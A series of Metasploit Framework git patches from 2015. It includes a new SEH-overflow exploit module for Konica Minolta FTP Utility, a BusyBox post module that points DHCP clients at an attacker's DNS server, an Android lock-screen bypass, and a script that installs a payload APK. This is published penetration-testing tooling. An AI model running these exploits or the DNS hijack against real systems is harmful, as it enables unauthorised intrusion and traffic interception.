'version_random_valid' => datastore['HTTP::version_random_valid'], + 'version_random_invalid' => datastore['HTTP::version_random_invalid'], 'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'], 'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'], 'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'], @@ -236,6 +240,8 @@ module Exploit::Remote::HttpClient evade_method_random_valid: datastore['HTTP::method_random_valid'], evade_method_random_invalid: datastore['HTTP::method_random_invalid'], evade_method_random_case: datastore['HTTP::method_random_case'], + evade_version_random_valid: datastore['HTTP::version_random_valid'], + evade_version_random_invalid: datastore['HTTP::version_random_invalid'], evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'], evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'], evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'], From b20a283617d06274308beb9f2e533ddcb1eb7afc Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Thu, 20 Aug 2015 13:57:16 -0500 Subject: [PATCH 0329/2172] Added report_note to suggester --- .../post/multi/recon/local_exploit_suggester.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index 64962b4ac6..f3ca1ca464 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -5,6 +5,8 @@ require 'msf/core' +include Msf::Auxiliary::Report + class Metasploit3 < Msf::Post def initialize(info={}) @@ -14,11 +16,10 @@ class Metasploit3 < Msf::Post This module suggests local meterpreter exploits that can be used. The exploits are suggested based on the architecture and platform that the user has a shell opened as well as the available exploits in - meterpreter. Additionally, the ShowDescription option can be set - to 'true' to a detailed description on the suggested exploits. + meterpreter. It's important to note that not all local exploits will be fired. - They are chosen based on these conditions: session type, + Exploits are chosen based on these conditions: session type, platform, architecture, and required default options. }, 'License' => MSF_LICENSE, @@ -138,7 +139,7 @@ class Metasploit3 < Msf::Post end show_found_exploits - + results = [] @local_exploits.each do |m| begin checkcode = m.check @@ -146,6 +147,7 @@ class Metasploit3 < Msf::Post if is_check_interesting?(checkcode) # Prints the full name and the checkcode message for the exploit print_good("#{m.fullname}: #{checkcode.second}") + results << [m.fullname, checkcode.second] # If the datastore option is true, a detailed description will show if datastore['SHOWDESCRIPTION'] # Formatting for the description text @@ -160,9 +162,13 @@ class Metasploit3 < Msf::Post vprint_error("#{e.class} #{m.shortname} failled to run: #{e.message}") end end + report_note( + :host => rhost, + :type => "les_results", + :data => results.inspect + ) end - def is_check_interesting?(checkcode) [ Msf::Exploit::CheckCode::Vulnerable, From d264802ce03be3e13dfc8220adc9e9bf40175bf3 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Fri, 21 Aug 2015 12:38:58 -0500 Subject: [PATCH 0330/2172] Consistency and API conformance changes to LES --- lib/msf/core/post/common.rb | 6 ++++-- .../multi/recon/local_exploit_suggester.rb | 18 ++++++++++++------ 2 files changed, 16 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 6cbec94226..85e3af4d3a 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -305,12 +305,14 @@ module Msf::Post::Common # Special handle some cases that ARCH_TYPES won't recognize. # https://msdn.microsoft.com/en-us/library/aa384274.aspx case target_arch - when /i386/, /i686/ + when /i[3456]86|wow64/i return ARCH_X86 - when /amd64/i, /ia64/i + when /(amd|ia|x)64/i return ARCH_X86_64 end + # Detect tricky variants of architecture types upfront + # Rely on ARCH_TYPES to tell us a framework-recognizable ARCH. # Notice we're sorting ARCH_TYPES first, so that the longest string # goes first. This step is used because sometimes let's say if the target diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index f3ca1ca464..823c8b71e4 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -88,7 +88,9 @@ class Metasploit3 < Msf::Post def set_module_options(mod) - mod.datastore.merge!(self.datastore) + self.datastore.each_pair do |k,v| + mod.datastore[k] = v + end if !mod.datastore['SESSION'] && session.present? mod.datastore['SESSION'] = session.sid end @@ -120,6 +122,7 @@ class Metasploit3 < Msf::Post end end + def show_found_exploits if datastore['VERBOSE'] print_status("The following #{@local_exploits.length} exploit checks are being tried:") @@ -151,7 +154,9 @@ class Metasploit3 < Msf::Post # If the datastore option is true, a detailed description will show if datastore['SHOWDESCRIPTION'] # Formatting for the description text - print_line Rex::Text.wordwrap(Rex::Text.compress(m.description), 2, 70) + Rex::Text.wordwrap(Rex::Text.compress(m.description), 2, 70).split(/\n/).each do |line| + print_line line + end end else vprint_status("#{m.fullname}: #{checkcode.second}") @@ -163,12 +168,13 @@ class Metasploit3 < Msf::Post end end report_note( - :host => rhost, - :type => "les_results", - :data => results.inspect - ) + :host => rhost, + :type => "local.suggested_exploits", + :data => results + ) end + def is_check_interesting?(checkcode) [ Msf::Exploit::CheckCode::Vulnerable, From 717b1bdd6ab593411b7fa9bb726fd068556d972d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 21 Aug 2015 15:46:18 -0500 Subject: [PATCH 0331/2172] Fix bugs: Empty -O, empty origins --- lib/msf/ui/console/command_dispatcher/db.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 30f3e2ffcc..13287d2d36 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -983,6 +983,10 @@ class Db set_rhosts = true when '-O', '--origins' hosts = args.shift + if !hosts + print_error("Argument required for -O") + return + end arg_host_range(hosts, origin_ranges) else # Anything that wasn't an option is a host to search for @@ -1074,8 +1078,7 @@ class Db next end - if core.logins.empty? - + if core.logins.empty? && origin_ranges.empty? tbl << [ "", # host "", # cred From 1e6c53b43040a59a4e4125fdbed4c7fc1a0774d9 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 22 Aug 2015 01:21:15 -0500 Subject: [PATCH 0332/2172] Correct the storage of ssh banners in service.info --- modules/auxiliary/scanner/ssh/ssh_version.rb | 61 ++++++++++++-------- 1 file changed, 36 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index acce585636..4292689896 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -53,33 +53,44 @@ class Metasploit3 < Msf::Auxiliary resp = sock.get_once(-1, timeout) - if resp - ident, first_message = resp.split(/[\r\n]+/) - if /^SSH-\d+\.\d+-(?<banner>.*)$/ =~ ident - if recog_match = Recog::Nizer.match('ssh.banner', banner) - info = recog_match.to_s - else - info = 'UNKNOWN' - print_warning("#{peer} unknown SSH banner: #{banner}") - end - # Check to see if this is Kippo, which sends a premature - # key init exchange right on top of the SSH version without - # waiting for the required client identification string. - if first_message && first_message.size >= 5 - extra = first_message.unpack("NCCA*") # sz, pad_sz, code, data - if (extra.last.size + 2 == extra[0]) && extra[2] == 20 - info << " (Kippo Honeypot)" - end - end - print_status("#{peer}, SSH server version: #{ident}") - report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: info) - else - vprint_warning("#{peer} was not SSH --" \ - " #{resp.size} bytes beginning with #{resp[0, 12]}") - end - else + if ! resp vprint_warning("#{peer} no response") + return end + + ident, first_message = resp.split(/[\r\n]+/) + info = "" + + if /^SSH-\d+\.\d+-(.*)$/ !~ ident + vprint_warning("#{peer} was not SSH -- #{resp.size} bytes beginning with #{resp[0, 12]}") + return + end + + banner = $1 + + # Try to match with Recog and show the relevant fields to the user + recog_match = Recog::Nizer.match('ssh.banner', banner) + if recog_match + info << " ( " + recog_match.each_pair do |k,v| + next if k == 'matched' + info << "#{k}=#{v} " + end + info << ")" + end + + # Check to see if this is Kippo, which sends a premature + # key init exchange right on top of the SSH version without + # waiting for the required client identification string. + if first_message && first_message.size >= 5 + extra = first_message.unpack("NCCA*") # sz, pad_sz, code, data + if (extra.last.size + 2 == extra[0]) && extra[2] == 20 + info << " (Kippo Honeypot)" + end + end + + print_status("#{peer} SSH server version: #{ident}#{info}") + report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: ident) end rescue Timeout::Error vprint_warning("#{peer} timed out after #{timeout} seconds. Skipping.") From 8825db5c9802864820025e4b8ffa39508764722b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 22 Aug 2015 21:53:04 -0500 Subject: [PATCH 0333/2172] Add MSF APK installer You can use this script to install your msf apk to your android emulator. --- tools/install_msf_apk.sh | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100755 tools/install_msf_apk.sh diff --git a/tools/install_msf_apk.sh b/tools/install_msf_apk.sh new file mode 100755 index 0000000000..87dea0308f --- /dev/null +++ b/tools/install_msf_apk.sh @@ -0,0 +1,36 @@ +#!/usr/bin/env bash + +# This script allows you install your msf payload apk to your Android emulator. +# Make sure you have Java and Android SDK. + +apk_path=$1 + + +if ! [ -x "$(command -v adb)" ] +then + echo "Android SDK platform-tools not included in \$PATH." + exit +fi + +if ! [ -x "$(command -v jarsigner)" ] +then + echo "jarsigner is missing." + exit +fi + +if [ -z "$apk_path" ] +then + echo "APK path is required." + exit +fi + +if ! [ -a "$apk_path" ] +then + echo "APK not found." + exit +fi + +jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA $apk_path androiddebugkey +adb uninstall com.metasploit.stage +adb install -r $apk_path +adb shell am start -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity \ No newline at end of file From fb2adb2e519b5c096aa682b7875db873cbe4ed3c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sun, 23 Aug 2015 02:20:51 -0500 Subject: [PATCH 0334/2172] Check blank bullprop, also better instructions for the user. --- modules/post/android/manage/remove_lock.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index df3f239e6b..bcd721b82c 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -41,6 +41,12 @@ class Metasploit4 < Msf::Post def run buildprop = cmd_exec('cat /system/build.prop') + + if buildprop.blank? + print_error("Blank build.prop, try again") + return + end + unless buildprop =~ /ro.build.version.release=4.[0|1|2|3]/ print_error("This module is only compatible with Android versions 4.0 to 4.3") return @@ -48,10 +54,11 @@ class Metasploit4 < Msf::Post output = cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task') if output =~ /Error:/ - print_error("The Intent could not be started") - vprint_status("Command output: #{output}") + print_error("The Intent could not be started") + vprint_status("Command output: #{output}") else - print_good("Intent started, the lock screen should now have been removed") + print_good("Intent started, the lock screen should now be a dud.") + print_good("Go ahead and manually swipe or provide any pin/password/pattern to continue.") end end From b37efd29b0f80d74d9d158f0aae4d69ecb9f4e84 Mon Sep 17 00:00:00 2001 From: jvicente <javier.vicente@byteheed.com> Date: Sun, 23 Aug 2015 12:17:17 +0200 Subject: [PATCH 0335/2172] Modified module busybox_pingnet.rb to avoid sending an ash script but executing each ping command separately. Added some fixes. Modified spec file for busybox.rb. --- lib/msf/core/post/linux/busybox.rb | 22 ++-- modules/post/linux/gather/busybox_pingnet.rb | 121 +------------------ modules/post/linux/manage/busybox_setdns.rb | 21 ++-- spec/lib/msf/core/post/linux/busybox_spec.rb | 43 +++++++ test/modules/post/test/busybox.rb | 63 ---------- 5 files changed, 72 insertions(+), 198 deletions(-) create mode 100644 spec/lib/msf/core/post/linux/busybox_spec.rb delete mode 100644 test/modules/post/test/busybox.rb diff --git a/lib/msf/core/post/linux/busybox.rb b/lib/msf/core/post/linux/busybox.rb index 5a66b7822f..6f717efe19 100644 --- a/lib/msf/core/post/linux/busybox.rb +++ b/lib/msf/core/post/linux/busybox.rb @@ -32,13 +32,12 @@ module Busybox retval = false rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} file_path = directory_path + "/" + rand_str - cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}\n"); Rex::sleep(0.1) - (1..5).each{session.shell_read(); Rex::sleep(0.1)} + cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}"); Rex::sleep(0.3) rcv = read_file(file_path) if rcv.include? (rand_str+"XXX"+rand_str) retval = true end - cmd_exec("rm -f #{file_path}"); Rex::sleep(0.1) + cmd_exec("rm -f #{file_path}"); Rex::sleep(0.3) return retval end @@ -52,18 +51,21 @@ module Busybox # def is_writable_and_write(file_path, data, append) if append - data = read_file(file_path) + "\n" + data + writable_directory = get_writable_directory() + return false if not writable_directory + cmd_exec("cp -f #{file_path} #{writable_directory}tmp"); Rex::sleep(0.3) end rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} - cmd_exec("echo #{rand_str} > #{file_path}\n"); Rex::sleep(0.1) - session.shell_read(); Rex::sleep(0.1) + cmd_exec("echo #{rand_str} > #{file_path}"); Rex::sleep(0.3) if read_file(file_path).include? rand_str - cmd_exec("echo \"\"> #{file_path}\n"); Rex::sleep(0.1) - session.shell_read(); Rex::sleep(0.1) + cmd_exec("echo \"\"> #{file_path}"); Rex::sleep(0.3) lines = data.lines.map(&:chomp) lines.each do |line| - cmd_exec("echo #{line.chomp} >> #{file_path}\n"); Rex::sleep(0.1) - session.shell_read(); Rex::sleep(0.1) + cmd_exec("echo #{line.chomp} >> #{file_path}"); Rex::sleep(0.3) + end + if append + cmd_exec("cat #{writable_directory}tmp >> #{file_path}"); Rex::sleep(0.3) + cmd_exec("rm -f #{writable_directory}tmp"); Rex::sleep(0.3) end return true else diff --git a/modules/post/linux/gather/busybox_pingnet.rb b/modules/post/linux/gather/busybox_pingnet.rb index 7dab96e960..ee46182647 100644 --- a/modules/post/linux/gather/busybox_pingnet.rb +++ b/modules/post/linux/gather/busybox_pingnet.rb @@ -33,125 +33,16 @@ class Metasploit3 < Msf::Post end # - #this module will send a sh script for busybox shell for doing ping to a range of ip address from - #the router or device that is executing busybox. It could be possible to calculate each ip address - #of the range of ip addresses in the ruby script and execute each ping command with cmd_exec, but - #it would generate an unnecesary traffic in the connection with the busybox device (usually telnet) + #This module executes the ping command from the BusyBox connected shell for a given range of ip addresses. The + #results will be stored in loots # def run - sh_script_lines=[ - "#!/bin/sh", - "param1=#{datastore['IPRANGESTART']}", - "param2=#{datastore['IPRANGEEND']}", - "while true;", - " param1cpy=\"$param1\"", - " pos=`expr index \"$param1cpy\" \".\"`", - " pos=`expr $pos - 1`", - " octec1=`expr substr \"$param1cpy\" 1 $pos`", - " pos=`expr $pos + 2`", - " len=`expr length \"$param1cpy\"`", - " param1cpy=`expr substr \"$param1cpy\" $pos $len`", - " pos=`expr index \"$param1cpy\" \".\"`", - " pos=`expr $pos - 1`", - " octec2=`expr substr \"$param1cpy\" 1 $pos`", - " pos=`expr $pos + 2`", - " len=`expr length \"$param1cpy\"`", - " param1cpy=`expr substr \"$param1cpy\" $pos $len`", - " pos=`expr index \"$param1cpy\" \".\"`", - " pos=`expr $pos - 1`", - " octec3=`expr substr \"$param1cpy\" 1 $pos`", - " pos=`expr $pos + 2`", - " len=`expr length \"$param1cpy\"`", - " param1cpy=`expr substr \"$param1cpy\" $pos $len`", - " octec4=\"$param1cpy\"", - " carry=0", - " len=`expr length \"$octec4\"`", - " temp=`expr match \"$octec4\" \"255\"`", - " if [ $temp -eq $len ]; then", - " octec4=0", - " carry=1", - " else", - " octec4=`expr $octec4 + 1`", - " fi", - " if [ $carry -eq 1 ]; then", - " carry=0", - " len=`expr length \"$octec3\"`", - " temp=`expr match \"$octec3\" \"255\"`", - " if [ $temp -eq $len ]; then", - " octec3=0", - " carry=1", - " else", - " octec3=`expr \"$octec3\" + 1`", - " fi", - " fi", - " if [ $carry -eq 1 ]; then", - " carry=0", - " len=`expr length \"$octec2\"`", - " temp=`expr match \"$octec2\" \"255\"`", - " if [ $temp -eq $len ]; then", - " octec2=0", - " carry=1", - " else", - " octec2=`expr $octec2 + 1`", - " fi", - " fi", - " if [ $carry -eq 1 ]; then", - " carry=0", - " len=`expr length \"$octec1\"`", - " temp=`expr match \"$octec1\" \"255\"`", - " if [ $temp -eq $len ]; then", - " octec1=0", - " carry=1", - " else", - " octec1=`expr $octec1 + 1`", - " fi", - " fi", - " ping -c 1 \"$param1\"", - " param1=\"$octec1\"\".\"\"$octec2\"\".\"\"$octec3\"\".\"\"$octec4\"", - " temp=`expr match \"$param1\" \"$param2\"`", - " len=`expr length \"$param2\"`", - " if [ $temp -eq $len ]; then", - " ping -c 1 \"$param1\"", - " break", - " fi", - "done" - ] - - begin - #send script and receive echos - count=0 - sh_script_lines.each do |sh_script_line| - session.shell_write(sh_script_line + "\n") - count+=1 - result=session.shell_read() #receive echos - vprint_status(result) - Rex::sleep(0.03) - end - rescue - print_error("Problems were found while sending script to the BusyBox device.") - return - end - Rex::sleep(1.00) full_results = "" - begin - #receiving ping results - count=0 - print_status("Script has been sent to the busybox device. Doing ping to the range of addresses.") - while count<15 #we stop when we have been 15 seconds without receiving responses - result = session.shell_read() - if result.length>0 - count=0 - print_status(result) - full_results << result - else - vprint_status("No response.") - count+=1 - end - Rex::sleep(1.00) - end - rescue - print_warning("Problems were found while receiving ping results. Probably remote device terminated the connection.\nResults that were already received will be kept.") + + (IPAddr.new(datastore['IPRANGESTART'])..IPAddr.new(datastore['IPRANGEEND'])).map(&:to_s).each do |current_ip_address| + print_status("Doing ping to the address #{current_ip_address}.") + full_results << cmd_exec("ping -c 1 #{current_ip_address}") end #storing results diff --git a/modules/post/linux/manage/busybox_setdns.rb b/modules/post/linux/manage/busybox_setdns.rb index b283fe1273..2c179121ee 100644 --- a/modules/post/linux/manage/busybox_setdns.rb +++ b/modules/post/linux/manage/busybox_setdns.rb @@ -52,23 +52,24 @@ class Metasploit3 < Msf::Post original_content = read_file("/etc/udhcpd.conf") vprint_status("Original udhcpd.conf content:") vprint_status(original_content) - if is_writable_and_write("/etc/udhcpd.conf", "option dns #{datastore['SRVHOST']}", false) - vprint_status("Udhcpd.conf is writable.") - is_writable_and_write("/etc/udhcpd.conf", original_content, true) - vprint_status("Relaunching udhcp server:") - cmd_exec("killall dhcpd\n") - cmd_exec("dhcpd /etc/udhcpd.conf &\n") + if is_writable_and_write("/etc/udhcpd.conf", "option dns #{datastore['SRVHOST']}", true) + vprint_status("Udhcpd.conf is writable. Relaunching udhcp server:") + cmd_exec("killall dhcpd") + #in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command + #that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd + #process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>" + session.shell_write("dhcpd /etc/udhcpd.conf &\n") print_good("Udhcpd.conf modified and dns server added. Dhcpd restarted.") else vprint_status("Unable to write udhcpd.conf. Trying to copy the file to a writable directory.") writable_directory = get_writable_directory() if writable_directory vprint_status("writable directory found, creating a copy of the original udhcpd.conf.") - is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", false) - is_writable_and_write("#{writable_directory}tmp.conf", original_content, true) + cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf"); Rex::sleep(0.3) + is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true) vprint_status("Relaunching udhcp server:") - cmd_exec("killall dhcpd\n") - cmd_exec("dhcpd #{writable_directory}tmp.conf &\n") + cmd_exec("killall dhcpd") + session.shell_write("dhcpd #{writable_directory}tmp.conf &\n") print_good("Udhcpd.conf copied to writable directory and dns server added. Dhcpd restarted.") workdone = true else diff --git a/spec/lib/msf/core/post/linux/busybox_spec.rb b/spec/lib/msf/core/post/linux/busybox_spec.rb new file mode 100644 index 0000000000..c26251924e --- /dev/null +++ b/spec/lib/msf/core/post/linux/busybox_spec.rb @@ -0,0 +1,43 @@ +# -*- coding: binary -*- +require 'spec_helper' + +require 'msf/core/post/linux/busybox' + +describe Msf::Post::Linux::Busybox do + subject do + mod = Module.new + mod.extend described_class + mod + end + + describe '#file_exists' do + it "should test for file existence" do + result = subject.file_exists("/etc/passwd") + result.should be true + end + end + + describe '#get_writable_directory' do + it "should find a writable directory" do + result = subject.get_writable_directory() + result.should be true + end + end + + describe '#is_writable_and_write' do + it "should write and append data to a file in a writable directory" do + result = false + writable_directory = get_writable_directory() + if nil != writable_directory + writable_file = writable_directory + "tmp" + if is_writable_and_write(writable_file, "test write ", false) and "test write " == read_file(writable_file) and + is_writable_and_write(writable_file, "test append", true) and "test write test append" == read_file(writable_file) + result = true + end + cmd_exec("rm -f #{writable_file}") + end + result.should be true + end + end + +end diff --git a/test/modules/post/test/busybox.rb b/test/modules/post/test/busybox.rb deleted file mode 100644 index bec0e0fd36..0000000000 --- a/test/modules/post/test/busybox.rb +++ /dev/null @@ -1,63 +0,0 @@ -require 'msf/core' - -lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) -require 'module_test' - -load 'test/lib/module_test.rb' -#load 'lib/rex/text.rb' -#load 'lib/msf/core/post/file.rb' - -class Metasploit4 < Msf::Post - - include Msf::Post::Linux::Busybox - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing BusyBox Management Functions', - 'Description' => %q{ This module will test Post::Linux::BusyBox API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Javier Vicente Vallejo'], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] - )) - - register_options( - [ - OptString.new("BaseFileName" , [true, "File name to create", "busybox_test"]) - ], self.class) - end - - - def test_busybox_file_system_management - - it "should test for file existence" do - ret = false - ret = true if file_exists("/etc/passwd") - ret - end - - it "should find a writable directory" do - ret = false - ret = true if nil != get_writable_directory() - ret - end - - it "should write and append data to a file in a writable directory" do - ret = false - writable_directory = get_writable_directory() - if nil != writable_directory - writable_file = writable_directory + datastore["BaseFileName"] - if is_writable_and_write(writable_file, "test write ", false) and "test write " == read_file(writable_file) and - is_writable_and_write(writable_file, "test append", true) and "test write test append" == read_file(writable_file) - ret = true - end - cmd_exec("rm -f #{writable_file}") - end - ret - end - - end - -end - From 91a7531af86869c99d6d08d4f6865e3a5eb808bc Mon Sep 17 00:00:00 2001 From: Muhamad Fadzil Ramli <mind1355@gmail.com> Date: Sun, 23 Aug 2015 21:49:26 +0800 Subject: [PATCH 0336/2172] konica minolta ftp server post auth cwd command exploit --- .../exploits/windows/ftp/kmftp_utility_cwd.rb | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 modules/exploits/windows/ftp/kmftp_utility_cwd.rb diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb new file mode 100644 index 0000000000..7d51bab5db --- /dev/null +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -0,0 +1,74 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Ftp + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Konica Minolta FTP Utility 1.0 Post Auth CWD Command SEH Overflow', + 'Description' => %q{ + This module exploits a SEH overflow in Konica Minolta FTP Server 1.0. + Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which + leads to a SEH overflow. EasyFTP allows anonymous access by default; valid + credentials are typically unnecessary to exploit this vulnerability. + }, + 'Author' => + [ + 'Shankar Damodaran', # Stack Overflow DOS P.O.C version + 'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # SEH overflow, metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EBD-ID', '' ], + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 3000, + 'BadChars' => "\x00\x0a\x2f\x5c", + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows 7 SP1 x86', { 'Ret' => 0x12206d9d, 'Offset' => 1037 } ], # ppr - KMFtpCM.dll + ], + 'DisclosureDate' => 'August 23 2015', + 'DefaultTarget' => 0)) + end + + def check + connect + disconnect + + if (banner =~ /FTP Utility FTP server \(Version ([\d.]+)\)/) + return Exploit::CheckCode::Detected + end + return Exploit::CheckCode::Safe + end + + def exploit + connect_login + + buf = rand_text(target['Offset']) + buf << generate_seh_record(target.ret) + buf << payload.encoded + buf << rand_text(3000) + + print_status("Sending exploit buffer...") + send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string + + handler + disconnect + end + +end From a5daa5c9be6b88d0e38aa1ec53995fd1b9fb987e Mon Sep 17 00:00:00 2001 From: Muhamad Fadzil Ramli <mind1355@gmail.com> Date: Sun, 23 Aug 2015 23:12:41 +0800 Subject: [PATCH 0337/2172] added module descriptions --- .../exploits/windows/ftp/kmftp_utility_cwd.rb | 27 ++++++++++++------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index 7d51bab5db..17af6413db 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -13,34 +13,40 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Konica Minolta FTP Utility 1.0 Post Auth CWD Command SEH Overflow', + 'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow', 'Description' => %q{ - This module exploits a SEH overflow in Konica Minolta FTP Server 1.0. + This module exploits a SEH overflow in Konica Minolta FTP Server 1.00. Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which - leads to a SEH overflow. EasyFTP allows anonymous access by default; valid + leads to a SEH overflow. Konica FTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. }, 'Author' => [ - 'Shankar Damodaran', # Stack Overflow DOS P.O.C version - 'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # SEH overflow, metasploit module + 'Shankar Damodaran', # stack overflow dos p.o.c + 'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module ], 'License' => MSF_LICENSE, 'References' => [ - [ 'EBD-ID', '' ], + [ 'EBD-ID', '37908' ], ], 'Privileged' => false, 'Payload' => { - 'Space' => 3000, + 'Space' => 1500, 'BadChars' => "\x00\x0a\x2f\x5c", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ - [ 'Windows 7 SP1 x86', { 'Ret' => 0x12206d9d, 'Offset' => 1037 } ], # ppr - KMFtpCM.dll + [ + 'Windows 7 SP1 x86', + { + 'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll + 'Offset' => 1037 + } + ], ], 'DisclosureDate' => 'August 23 2015', 'DefaultTarget' => 0)) @@ -50,10 +56,11 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect - if (banner =~ /FTP Utility FTP server \(Version ([\d.]+)\)/) + if (banner =~ /FTP Utility FTP server/) return Exploit::CheckCode::Detected - end + else return Exploit::CheckCode::Safe + end end def exploit From 75873196027efefac9a3d66fe4b3cf8297d06a7d Mon Sep 17 00:00:00 2001 From: Muhamad Fadzil Ramli <mind1355@gmail.com> Date: Sun, 23 Aug 2015 23:32:30 +0800 Subject: [PATCH 0338/2172] run rubocop & msftidy --- .../exploits/windows/ftp/kmftp_utility_cwd.rb | 33 +++++++++---------- 1 file changed, 16 insertions(+), 17 deletions(-) diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index 17af6413db..cd66484eb3 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -13,32 +13,32 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow', - 'Description' => %q{ + 'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow', + 'Description' => %q{ This module exploits a SEH overflow in Konica Minolta FTP Server 1.00. Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which leads to a SEH overflow. Konica FTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. }, - 'Author' => + 'Author' => [ - 'Shankar Damodaran', # stack overflow dos p.o.c + 'Shankar Damodaran', # stack buffer overflow dos p.o.c 'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ - [ 'EBD-ID', '37908' ], + [ 'EBD-ID', '37908' ] ], - 'Privileged' => false, - 'Payload' => + 'Privileged' => false, + 'Payload' => { - 'Space' => 1500, + 'Space' => 1500, 'BadChars' => "\x00\x0a\x2f\x5c", 'DisableNops' => true }, - 'Platform' => 'win', - 'Targets' => + 'Platform' => 'win', + 'Targets' => [ 